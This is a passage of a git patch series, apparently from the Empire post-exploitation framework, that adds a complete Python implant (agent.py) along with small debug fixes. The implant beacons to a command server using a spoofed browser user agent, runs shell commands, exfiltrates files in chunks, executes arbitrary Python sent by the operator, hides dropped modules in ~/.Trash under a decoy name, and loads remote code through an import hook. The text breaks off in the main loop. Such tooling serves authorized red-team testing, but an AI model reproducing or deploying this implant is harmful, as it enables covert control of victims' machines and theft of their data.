'powershell': # strip non-printable characters diff --git a/lib/common/encryption.py b/lib/common/encryption.py index 46af5bb20..0b9e797d7 100644 --- a/lib/common/encryption.py +++ b/lib/common/encryption.py @@ -173,8 +173,6 @@ def aes_decrypt(key, data): backend = default_backend() IV = data[0:16] cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) - print(len(data)) - print(len(data[16:])) decryptor = cipher.decryptor() pt = depad(decryptor.update(data[16:]) + decryptor.finalize()) return pt diff --git a/lib/listeners/http.py b/lib/listeners/http.py index e8af5a2cc..3fb9e9135 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -875,7 +875,6 @@ def send_message(packets=None): return ('200', data) except urllib.HTTPError as HTTPError: - print("line 880") # if the server is reached, but returns an error (like 404) missedCheckins = missedCheckins + 1 #if signaled for restaging, exit. From d5da9a564a05e5b61c4a9c37b4984dc7737bc2c1 Mon Sep 17 00:00:00 2001 From: roseaj Date: Tue, 31 Dec 2019 17:46:20 -0500 Subject: [PATCH 04/17] Python agent bug fixes --- data/agent/stagers/common/get_sysinfo.py | 2 +- lib/common/packets.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/agent/stagers/common/get_sysinfo.py b/data/agent/stagers/common/get_sysinfo.py index 1ee9df28f..467294e30 100644 --- a/data/agent/stagers/common/get_sysinfo.py +++ b/data/agent/stagers/common/get_sysinfo.py @@ -60,4 +60,4 @@ def get_sysinfo(nonce='00000000'): processName = b" ".join(parts[1].split()[4:]) else: processName = 'python' - return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID.decode('UTF'), language, pyVersion) + return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName.decode('UTF-8'), processID, language, pyVersion) diff --git a/lib/common/packets.py b/lib/common/packets.py index e61ec2d7d..aa6e28878 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -278,7 +278,10 @@ def parse_routing_packet(stagingKey, data): RC4IV = data[0 + offset:4 + offset] RC4data = data[4 + offset:20 + offset] routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data) - sessionID = routingPacket[0:8].decode('UTF-8') + try: + sessionID = routingPacket[0:8].decode('UTF-8') + except: + sessionID = routingPacket[0:8].decode('latin-1') # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) From 1bf584248570f2dacbf2b5860661950cc533821b Mon Sep 17 00:00:00 2001 From: roseaj Date: Thu, 2 Jan 2020 21:41:51 -0500 Subject: [PATCH 05/17] Added debug messages --- data/agent/agent.py | 23 +- data/agent/stagers/common/aes.py | 36 +- data/agent/stagers/common/agent.py | 1064 ++++++++++++++++++++++++++++ data/agent/stagers/common/rc4.py | 7 +- lib/common/agents.py | 3 - lib/common/empire.py | 31 +- lib/common/packets.py | 7 +- lib/listeners/http.py | 2 + 8 files changed, 1109 insertions(+), 64 deletions(-) create mode 100644 data/agent/stagers/common/agent.py diff --git a/data/agent/agent.py b/data/agent/agent.py index c10ccdb09..c3761cdaf 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -1,4 +1,3 @@ -from __future__ import print_function from __future__ import division from future import standard_library standard_library.install_aliases() @@ -102,7 +101,7 @@ # ################################################ -REPLACE_COMMS +#REPLACE_COMMS ################################################ @@ -541,7 +540,7 @@ def process_packet(packetType, data, resultID): class ZipImportError(ImportError): """Exception raised by zipimporter objects.""" -# _get_info() = takes the fullname, then subpackage name (if applicable), +# _get_info() = takes the fullname, then subpackage name (if applicable), # and searches for the respective module or package class CFinder(object): @@ -621,16 +620,16 @@ def get_code(self, fullname): submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) return compile(source, fullpath, 'exec') -def install_hook(repoName): - if repoName not in _meta_cache: - finder = CFinder(repoName) - _meta_cache[repoName] = finder - sys.meta_path.append(finder) + def install_hook(repoName): + if repoName not in _meta_cache: + finder = CFinder(repoName) + _meta_cache[repoName] = finder + sys.meta_path.append(finder) -def remove_hook(repoName): - if repoName in _meta_cache: - finder = _meta_cache.pop(repoName) - sys.meta_path.remove(finder) + def remove_hook(repoName): + if repoName in _meta_cache: + finder = _meta_cache.pop(repoName) + sys.meta_path.remove(finder) ################################################ # diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index 92e5b5d27..ad8188018 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -2,6 +2,7 @@ Implements AES in python as a jinja2 partial. AES code from https://github.com/ricmoo/pyaes """ +import copy import struct import hashlib import random @@ -35,6 +36,7 @@ def strip_PKCS7_padding(data): def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + class AES(object): '''Encapsulates the AES block cipher. @@ -209,40 +211,6 @@ def decrypt(self, ciphertext): return result - -def decrypt(self, ciphertext): - - if len(ciphertext) != 16: - raise ValueError('wrong block length') - - rounds = len(self._Kd) - 1 - (s1, s2, s3) = [3, 2, 1] - a = [0, 0, 0, 0] - - # Convert ciphertext to (ints ^ key) - t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in range(0, 4)] - - # Apply round transforms - for r in range(1, rounds): - for i in range(0, 4): - a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ - self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ - self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ - self.T8[ t[(i + s3) % 4] & 0xFF] ^ - self._Kd[r][i]) - t = copy.copy(a) - - # The last round is special - result = [ ] - for i in range(0, 4): - tt = self._Kd[rounds][i] - result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) - result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) - result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) - result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) - - return result - class AESBlockModeOfOperation(object): '''Super-class for AES modes of operation that require blocks.''' def __init__(self, key): diff --git a/data/agent/stagers/common/agent.py b/data/agent/stagers/common/agent.py new file mode 100644 index 000000000..e81d9a3e8 --- /dev/null +++ b/data/agent/stagers/common/agent.py @@ -0,0 +1,1064 @@ +from future import standard_library +standard_library.install_aliases() +from builtins import str +from builtins import range +from builtins import object +from past.utils import old_div +import __future__ +import struct +import time +import base64 +import subprocess +import random +import time +import datetime +import os +import sys +import trace +import shlex +import zlib +import threading +import http.server +import zipfile +import io +import imp +import marshal +import re +import shutil +import pwd +import socket +import math +import stat +import grp +from stat import S_ISREG, ST_CTIME, ST_MODE +from os.path import expanduser +from io import StringIO +from threading import Thread + + +################################################ +# +# agent configuration information +# +################################################ + +# print "starting agent" + +# profile format -> +# tasking uris | user agent | additional header 1 | additional header 2 | ... +profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + +if server.endswith("/"): server = server[0:-1] + +delay = 60 +jitter = 0.0 +lostLimit = 60 +missedCheckins = 0 +jobMessageBuffer = '' +currentListenerName = "" +sendMsgFuncCode = "" + +# killDate form -> "MO/DAY/YEAR" +killDate = 'REPLACE_KILLDATE' +# workingHours form -> "9:00-17:00" +workingHours = 'REPLACE_WORKINGHOURS' + +parts = profile.split('|') +taskURIs = parts[0].split(',') +userAgent = parts[1] +headersRaw = parts[2:] + +defaultResponse = base64.b64decode("") + +jobs = [] +moduleRepo = {} +_meta_cache = {} + + +# global header dictionary +# sessionID is set by stager.py +# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} +headers = {'User-Agent': userAgent} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + + +################################################ +# +# communication methods +# +################################################ + +REPLACE_COMMS + + +################################################ +# +# encryption methods +# +################################################ + +def decode_routing_packet(data): + """ + Parse ALL routing packets and only process the ones applicable + to this agent. + """ + # returns {sessionID : (language, meta, additional, [encData]), ...} + packets = parse_routing_packet(stagingKey, data) + for agentID, packet in packets.items(): + if agentID == sessionID: + (language, meta, additional, encData) = packet + # if meta == 'SERVER_RESPONSE': + process_tasking(encData) + else: + # TODO: how to handle forwarding on other agent routing packets? + pass + + +def build_response_packet(taskingID, packetData, resultID=0): + """ + Build a task packet for an agent. + + [2 bytes] - type + [2 bytes] - total # of packets + [2 bytes] - packet # + [2 bytes] - task/result ID + [4 bytes] - length + [X...] - result data + + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + """ + + packetType = struct.pack('=H', taskingID) + totalPacket = struct.pack('=H', 1) + packetNum = struct.pack('=H', 1) + resultID = struct.pack('=H', resultID) + + if packetData: + packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) + if len(packetData) % 4: + packetData += '=' * (4 - len(packetData) % 4) + + length = struct.pack('=L',len(packetData)) + return packetType + totalPacket + packetNum + resultID + length + packetData + else: + length = struct.pack('=L', 0) + return packetType + totalPacket + packetNum + resultID + length + + +def parse_task_packet(packet, offset=0): + """ + Parse a result packet- + + [2 bytes] - type + [2 bytes] - total # of packets + [2 bytes] - packet # + [2 bytes] - task/result ID + [4 bytes] - length + [X...] - result data + + +------+--------------------+----------+---------+--------+-----------+ + | Type | total # of packets | packet # | task ID | Length | task data | + +------+--------------------+--------------------+--------+-----------+ + | 2 | 2 | 2 | 2 | 4 | | + +------+--------------------+----------+---------+--------+-----------+ + + Returns a tuple with (responseName, length, data, remainingData) + + Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData) + """ + + # print "parse_task_packet" + + try: + packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] + totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] + packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] + resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] + length = struct.unpack('=L', packet[8+offset:12+offset])[0] + packetData = packet[12+offset:12+offset+length] + remainingData = packet[12+offset+length:] + return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) + except Exception as e: + # print "parse_task_packet exception:",e + return (None, None, None, None, None, None, None) + + +def process_tasking(data): + # processes an encrypted data packet + # -decrypts/verifies the response to get + # -extracts the packets and processes each + + try: + # aes_decrypt_and_verify is in stager.py + tasking = aes_decrypt_and_verify(key, data) + (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking) + + # if we get to this point, we have a legit tasking so reset missedCheckins + missedCheckins = 0 + + # execute/process the packets and get any response + resultPackets = "" + result = process_packet(packetType, data, resultID) + + if result: + resultPackets += result + + packetOffset = 12 + length + + while remainingData and remainingData != '': + (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset) + result = process_packet(packetType, data, resultID) + if result: + resultPackets += result + + packetOffset += 12 + length + + # send_message() is patched in from the listener module + send_message(resultPackets) + + except Exception as e: + # print "processTasking exception:",e + pass + + +def process_job_tasking(result): + # process job data packets + # - returns to the C2 + # execute/process the packets and get any response + try: + resultPackets = "" + if result: + resultPackets += result + # send packets + send_message(resultPackets) + except Exception as e: + print("processJobTasking exception:",e) + pass + + +def process_packet(packetType, data, resultID): + + try: + packetType = int(packetType) + except Exception as e: + return None + + if packetType == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + return build_response_packet(1, get_sysinfo(), resultID) + + elif packetType == 2: + # agent exit + + send_message(build_response_packet(2, "", resultID)) + agent_exit() + + elif packetType == 40: + # run a command + parts = data.split(" ") + + if len(parts) == 1: + data = parts[0] + resultData = str(run_command(data)) + return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) + else: + cmd = parts[0] + cmdargs = ' '.join(parts[1:len(parts)]) + resultData = str(run_command(cmd, cmdargs=cmdargs)) + return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) + + elif packetType == 41: + # file download + objPath = os.path.abspath(data) + fileList = [] + if not os.path.exists(objPath): + return build_response_packet(40, "file does not exist or cannot be accessed", resultID) + + if not os.path.isdir(objPath): + fileList.append(objPath) + else: + # recursive dir listing + for folder, subs, files in os.walk(objPath): + for filename in files: + #dont care about symlinks + if os.path.exists(objPath): + fileList.append(objPath + "/" + filename) + + for filePath in fileList: + offset = 0 + size = os.path.getsize(filePath) + partIndex = 0 + + while True: + + # get 512kb of the given file starting at the specified offset + encodedPart = get_file_part(filePath, offset=offset, base64=False) + c = compress() + start_crc32 = c.crc32_data(encodedPart) + comp_data = c.comp_data(encodedPart) + encodedPart = c.build_header(comp_data, start_crc32) + encodedPart = base64.b64encode(encodedPart) + + partData = "%s|%s|%s" %(partIndex, filePath, encodedPart) + if not encodedPart or encodedPart == '' or len(encodedPart) == 16: + break + + send_message(build_response_packet(41, partData, resultID)) + + global delay + global jitter + if jitter < 0: jitter = -jitter + if jitter > 1: jitter = old_div(1,jitter) + + minSleep = int((1.0-jitter)*delay) + maxSleep = int((1.0+jitter)*delay) + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + partIndex += 1 + offset += 512000 + + elif packetType == 42: + # file upload + try: + parts = data.split("|") + filePath = parts[0] + base64part = parts[1] + raw = base64.b64decode(base64part) + d = decompress() + dec_data = d.dec_data(raw, cheader=True) + if not dec_data['crc32_check']: + send_message(build_response_packet(0, "[!] WARNING: File upload failed crc32 check during decompressing!.", resultID)) + send_message(build_response_packet(0, "[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']), resultID)) + f = open(filePath, 'ab') + f.write(dec_data['data']) + f.close() + + send_message(build_response_packet(42, "[*] Upload of %s successful" %(filePath), resultID)) + except Exception as e: + sendec_datadMessage(build_response_packet(0, "[!] Error in writing file %s during upload: %s" %(filePath, str(e)), resultID)) + + elif packetType == 50: + # return the currently running jobs + msg = "" + if len(jobs) == 0: + msg = "No active jobs" + else: + msg = "Active jobs:\n" + for x in range(len(jobs)): + msg += "\t%s" %(x) + return build_response_packet(50, msg, resultID) + + elif packetType == 51: + # stop and remove a specified job if it's running + try: + # Calling join first seems to hang + # result = jobs[int(data)].join() + send_message(build_response_packet(0, "[*] Attempting to stop job thread", resultID)) + result = jobs[int(data)].kill() + send_message(build_response_packet(0, "[*] Job thread stoped!", resultID)) + jobs[int(data)]._Thread__stop() + jobs.pop(int(data)) + if result and result != "": + send_message(build_response_packet(51, result, resultID)) + except: + return build_response_packet(0, "error stopping job: %s" %(data), resultID) + + elif packetType == 100: + # dynamic code execution, wait for output, don't save outputPicl + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + results = buffer.getvalue() + return build_response_packet(100, str(results), resultID) + except Exception as e: + errorData = str(buffer.getvalue()) + return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + + elif packetType == 101: + # dynamic code execution, wait for output, save output + prefix = data[0:15].strip() + extension = data[15:20].strip() + data = data[20:] + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + c = compress() + start_crc32 = c.crc32_data(buffer.getvalue()) + comp_data = c.comp_data(buffer.getvalue()) + encodedPart = c.build_header(comp_data, start_crc32) + encodedPart = base64.b64encode(encodedPart) + return build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID) + except Exception as e: + # Also return partial code that has been executed + errorData = str(buffer.getvalue()) + return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + + elif packetType == 102: + # on disk code execution for modules that require multiprocessing not supported by exec + try: + implantHome = expanduser("~") + '/.Trash/' + moduleName = ".mac-debug-data" + implantPath = implantHome + moduleName + result = "[*] Module disk path: %s \n" %(implantPath) + with open(implantPath, 'w') as f: + f.write(data) + result += "[*] Module properly dropped to disk \n" + pythonCommand = "python %s" %(implantPath) + process = subprocess.Popen(pythonCommand, stdout=subprocess.PIPE, shell=True) + data = process.communicate() + result += data[0].strip() + try: + os.remove(implantPath) + result += "\n[*] Module path was properly removed: %s" %(implantPath) + except Exception as e: + print("error removing module filed: %s" %(e)) + fileCheck = os.path.isfile(implantPath) + if fileCheck: + result += "\n\nError removing module file, please verify path: " + str(implantPath) + return build_response_packet(100, str(result), resultID) + except Exception as e: + fileCheck = os.path.isfile(implantPath) + if fileCheck: + return build_response_packet(0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" %(e, implantPath), resultID) + return build_response_packet(0, "error executing specified Python data: %s" %(e), resultID) + + elif packetType == 110: + start_job(data) + return build_response_packet(110, "job %s started" %(len(jobs)-1), resultID) + + elif packetType == 111: + # TASK_CMD_JOB_SAVE + # TODO: implement job structure + pass + + elif packetType == 121: + #base64 decode the script and execute + script = base64.b64decode(data) + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(script, '', 'exec') + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + result = str(buffer.getvalue()) + return build_response_packet(121, result, resultID) + except Exception as e: + errorData = str(buffer.getvalue()) + return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + + elif packetType == 122: + #base64 decode and decompress the data + try: + parts = data.split('|') + base64part = parts[1] + fileName = parts[0] + raw = base64.b64decode(base64part) + d = decompress() + dec_data = d.dec_data(raw, cheader=True) + if not dec_data['crc32_check']: + send_message(build_response_packet(122, "Failed crc32_check during decompression", resultID)) + except Exception as e: + send_message(build_response_packet(122, "Unable to decompress zip file: %s" % (e), resultID)) + + zdata = dec_data['data'] + zf = zipfile.ZipFile(io.BytesIO(zdata), "r") + if fileName in list(moduleRepo.keys()): + send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID)) + else: + moduleRepo[fileName] = zf + install_hook(fileName) + send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID)) + + elif packetType == 123: + #view loaded modules + repoName = data + if repoName == "": + loadedModules = "\nAll Repos\n" + for key, value in list(moduleRepo.items()): + loadedModules += "\n----"+key+"----\n" + loadedModules += '\n'.join(moduleRepo[key].namelist()) + + send_message(build_response_packet(123, loadedModules, resultID)) + else: + try: + loadedModules = "\n----"+repoName+"----\n" + loadedModules += '\n'.join(moduleRepo[repoName].namelist()) + send_message(build_response_packet(123, loadedModules, resultID)) + except Exception as e: + msg = "Unable to retrieve repo contents: %s" % (str(e)) + send_message(build_response_packet(123, msg, resultID)) + + elif packetType == 124: + #remove module + repoName = data + try: + remove_hook(repoName) + del moduleRepo[repoName] + send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID)) + except Exception as e: + send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID)) + + else: + return build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID) + + +################################################ +# +# Custom Import Hook +# #adapted from https://github.com/sulinx/remote_importer +# +################################################ + +# [0] = .py ext, is_package = False +# [1] = /__init__.py ext, is_package = True +_search_order = [('.py', False), ('/__init__.py', True)] + +class ZipImportError(ImportError): + """Exception raised by zipimporter objects.""" + +# _get_info() = takes the fullname, then subpackage name (if applicable), +# and searches for the respective module or package + +class CFinder(object): + """Import Hook for Empire""" + def __init__(self, repoName): + self.repoName = repoName + + def _get_info(self, repoName, fullname): + """Search for the respective package or module in the zipfile object""" + parts = fullname.split('.') + submodule = parts[-1] + modulepath = '/'.join(parts) + + #check to see if that specific module exists + + for suffix, is_package in _search_order: + relpath = modulepath + suffix + try: + moduleRepo[repoName].getinfo(relpath) + except KeyError: + pass + else: + return submodule, is_package, relpath + + #Error out if we can find the module/package + msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName)) + raise ZipImportError(msg) + + def _get_source(self, repoName, fullname): + """Get the source code for the requested module""" + submodule, is_package, relpath = self._get_info(repoName, fullname) + fullpath = '%s/%s' % (repoName, relpath) + source = moduleRepo[repoName].read(relpath) + source = source.replace('\r\n', '\n') + source = source.replace('\r', '\n') + + return submodule, is_package, fullpath, source + + def find_module(self, fullname, path=None): + + try: + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + except ImportError: + return None + else: + return self + + def load_module(self, fullname): + submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) + code = compile(source, fullpath, 'exec') + mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) + mod.__loader__ = self + mod.__file__ = fullpath + mod.__name__ = fullname + if is_package: + mod.__path__ = [os.path.dirname(mod.__file__)] + exec(code, mod.__dict__) + return mod + + def get_data(self, fullpath): + + prefix = os.path.join(self.repoName, '') + if not fullpath.startswith(prefix): + raise IOError('Path %r does not start with module name %r', (fullpath, prefix)) + relpath = fullpath[len(prefix):] + try: + return moduleRepo[self.repoName].read(relpath) + except KeyError: + raise IOError('Path %r not found in repo %r' % (relpath, self.repoName)) + + def is_package(self, fullname): + """Return if the module is a package""" + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + return is_package + + def get_code(self, fullname): + submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) + return compile(source, fullpath, 'exec') + +def install_hook(repoName): + if repoName not in _meta_cache: + finder = CFinder(repoName) + _meta_cache[repoName] = finder + sys.meta_path.append(finder) + +def remove_hook(repoName): + if repoName in _meta_cache: + finder = _meta_cache.pop(repoName) + sys.meta_path.remove(finder) + +################################################ +# +# misc methods +# +################################################ +class compress(object): + + ''' + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. + ''' + + CRC_HSIZE = 4 + COMP_RATIO = 9 + + def __init__(self, verbose=False): + """ + Populates init. + """ + pass + + def comp_data(self, data, cvalue=COMP_RATIO): + ''' + Takes in a string and computes + the comp obj. + data = string wanting compression + cvalue = 0-9 comp value (default 6) + ''' + cdata = zlib.compress(data,cvalue) + return cdata + + def crc32_data(self, data): + ''' + Takes in a string and computes crc32 value. + data = string before compression + returns: + HEX bytes of data + ''' + crc = zlib.crc32(data) & 0xFFFFFFFF + return crc + + def build_header(self, data, crc): + ''' + Takes comp data, org crc32 value, + and adds self header. + data = comp data + crc = crc32 value + ''' + header = struct.pack("!I",crc) + built_data = header + data + return built_data + +class decompress(object): + + ''' + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. + ''' + + CRC_HSIZE = 4 + COMP_RATIO = 9 + + def __init__(self, verbose=False): + """ + Populates init. + """ + pass + + def dec_data(self, data, cheader=True): + ''' + Takes: + Custom / standard header data + data = comp data with zlib header + BOOL cheader = passing custom crc32 header + returns: + dict with crc32 cheack and dec data string + ex. {"crc32" : true, "dec_data" : "-SNIP-"} + ''' + if cheader: + comp_crc32 = struct.unpack("!I", data[:self.CRC_HSIZE])[0] + dec_data = zlib.decompress(data[self.CRC_HSIZE:]) + dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF + if comp_crc32 == dec_crc32: + crc32 = True + else: + crc32 = False + return { "header_crc32" : comp_crc32, "dec_crc32" : dec_crc32, "crc32_check" : crc32, "data" : dec_data } + else: + dec_data = zlib.decompress(data) + return dec_data + +def agent_exit(): + # exit for proper job / thread cleanup + if len(jobs) > 0: + try: + for x in jobs: + jobs[int(x)].kill() + jobs.pop(x) + except: + # die hard if thread kill fails + pass + exit() + +def indent(lines, amount=4, ch=' '): + padding = amount * ch + return padding + ('\n'+padding).join(lines.split('\n')) + + +# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python +class ThreadWithReturnValue(Thread): + def __init__(self, group=None, target=None, name=None, + args=(), kwargs={}, Verbose=None): + Thread.__init__(self, group, target, name, args, kwargs, Verbose) + self._return = None + def run(self): + if self._Thread__target is not None: + self._return = self._Thread__target(*self._Thread__args, + **self._Thread__kwargs) + def join(self): + Thread.join(self) + return self._return + + +class KThread(threading.Thread): + + """A subclass of threading.Thread, with a kill() + method.""" + + def __init__(self, *args, **keywords): + threading.Thread.__init__(self, *args, **keywords) + self.killed = False + + def start(self): + """Start the thread.""" + self.__run_backup = self.run + self.run = self.__run # Force the Thread toinstall our trace. + threading.Thread.start(self) + + def __run(self): + """Hacked run function, which installs the + trace.""" + sys.settrace(self.globaltrace) + self.__run_backup() + self.run = self.__run_backup + + def globaltrace(self, frame, why, arg): + if why == 'call': + return self.localtrace + else: + return None + + def localtrace(self, frame, why, arg): + if self.killed: + if why == 'line': + raise SystemExit() + return self.localtrace + + def kill(self): + self.killed = True + + +def start_job(code): + + global jobs + + # create a new code block with a defined method name + codeBlock = "def method():\n" + indent(code) + + # register the code block + code_obj = compile(codeBlock, '', 'exec') + # code needs to be in the global listing + # not the locals() scope + exec(code_obj, globals()) + + # create/processPacketstart/return the thread + # call the job_func so sys data can be cpatured + codeThread = KThread(target=job_func) + codeThread.start() + + jobs.append(codeThread) + + +def job_func(): + try: + old_stdout = sys.stdout + sys.stdout = mystdout = StringIO() + # now call the function required + # and capture the output via sys + method() + sys.stdout = old_stdout + dataStats_2 = mystdout.getvalue() + result = build_response_packet(110, str(dataStats_2)) + process_job_tasking(result) + except Exception as e: + p = "error executing specified Python job data: " + str(e) + result = build_response_packet(0, p) + process_job_tasking(result) + +def job_message_buffer(message): + # Supports job messages for checkin + global jobMessageBuffer + try: + + jobMessageBuffer += str(message) + except Exception as e: + print(e) + +def get_job_message_buffer(): + global jobMessageBuffer + try: + result = build_response_packet(110, str(jobMessageBuffer)) + jobMessageBuffer = "" + return result + except Exception as e: + return build_response_packet(0, "[!] Error getting job output: %s" %(e)) + +def send_job_message_buffer(): + if len(jobs) > 0: + result = get_job_message_buffer() + process_job_tasking(result) + else: + pass + +def start_webserver(data, ip, port, serveCount): + # thread data_webserver for execution + t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount)) + t.start() + return + +def data_webserver(data, ip, port, serveCount): + # hosts a file on port and IP servers data string + hostName = str(ip) + portNumber = int(port) + data = str(data) + serveCount = int(serveCount) + count = 0 + class serverHandler(http.server.BaseHTTPRequestHandler): + def do_GET(s): + """Respond to a GET request.""" + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(data) + def log_message(s, format, *args): + return + server_class = http.server.HTTPServer + httpServer = server_class((hostName, portNumber), serverHandler) + try: + while (count < serveCount): + httpServer.handle_request() + count += 1 + except: + pass + httpServer.server_close() + return + +def permissions_to_unix_name(st_mode): + permstr = '' + usertypes = ['USR', 'GRP', 'OTH'] + for usertype in usertypes: + perm_types = ['R', 'W', 'X'] + for permtype in perm_types: + perm = getattr(stat, 'S_I%s%s' % (permtype, usertype)) + if st_mode & perm: + permstr += permtype.lower() + else: + permstr += '-' + return permstr + +def directory_listing(path): + # directory listings in python + # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html + + res = "" + for fn in os.listdir(path): + fstat = os.stat(os.path.join(path, fn)) + permstr = permissions_to_unix_name(fstat[0]) + + if os.path.isdir(fn): + permstr = "d{}".format(permstr) + else: + permstr = "-{}".format(permstr) + + user = pwd.getpwuid(fstat.st_uid)[0] + group = grp.getgrgid(fstat.st_gid)[0] + + # Convert file size to MB, KB or Bytes + if (fstat.st_size > 1024 * 1024): + fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024))) + unit = "MB" + elif (fstat.st_size > 1024): + fsize = math.ceil(old_div(fstat.st_size, 1024)) + unit = "KB" + else: + fsize = fstat.st_size + unit = "B" + + mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) + + res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn) + + return res + +# additional implementation methods +def run_command(command, cmdargs=None): + + if re.compile("(ls|dir)").match(command): + if cmdargs == None or not os.path.exists(cmdargs): + cmdargs = '.' + + return directory_listing(cmdargs) + + elif re.compile("pwd").match(command): + return str(os.getcwd()) + elif re.compile("rm").match(command): + if cmdargs == None: + return "please provide a file or directory" + + if os.path.exists(cmdargs): + if os.path.isfile(cmdargs): + os.remove(cmdargs) + return "done." + elif os.path.isdir(cmdargs): + shutil.rmtree(cmdargs) + return "done." + else: + return "unsupported file type" + else: + return "specified file/directory does not exist" + elif re.compile("mkdir").match(command): + if cmdargs == None: + return "please provide a directory" + + os.mkdir(cmdargs) + return "Created directory: {}".format(cmdargs) + + elif re.compile("(whoami|getuid)").match(command): + return pwd.getpwuid(os.getuid())[0] + + elif re.compile("hostname").match(command): + return str(socket.gethostname()) + + else: + if cmdargs != None: + command = "{} {}".format(command,cmdargs) + + p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) + return p.communicate()[0].strip() + +def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): + + if not os.path.exists(filePath): + return '' + + f = open(filePath, 'rb') + f.seek(offset, 0) + data = f.read(chunkSize) + f.close() + if base64: + return base64.b64encode(data) + else: + return data + +################################################ +# +# main agent functionality +# +################################################ + +while(True): + try: + if workingHours != '' and 'WORKINGHOURS' not in workingHours: + try: + start,end = workingHours.split('-') + now = datetime.datetime.now() + startTime = datetime.datetime.strptime(start, "%H:%M") + 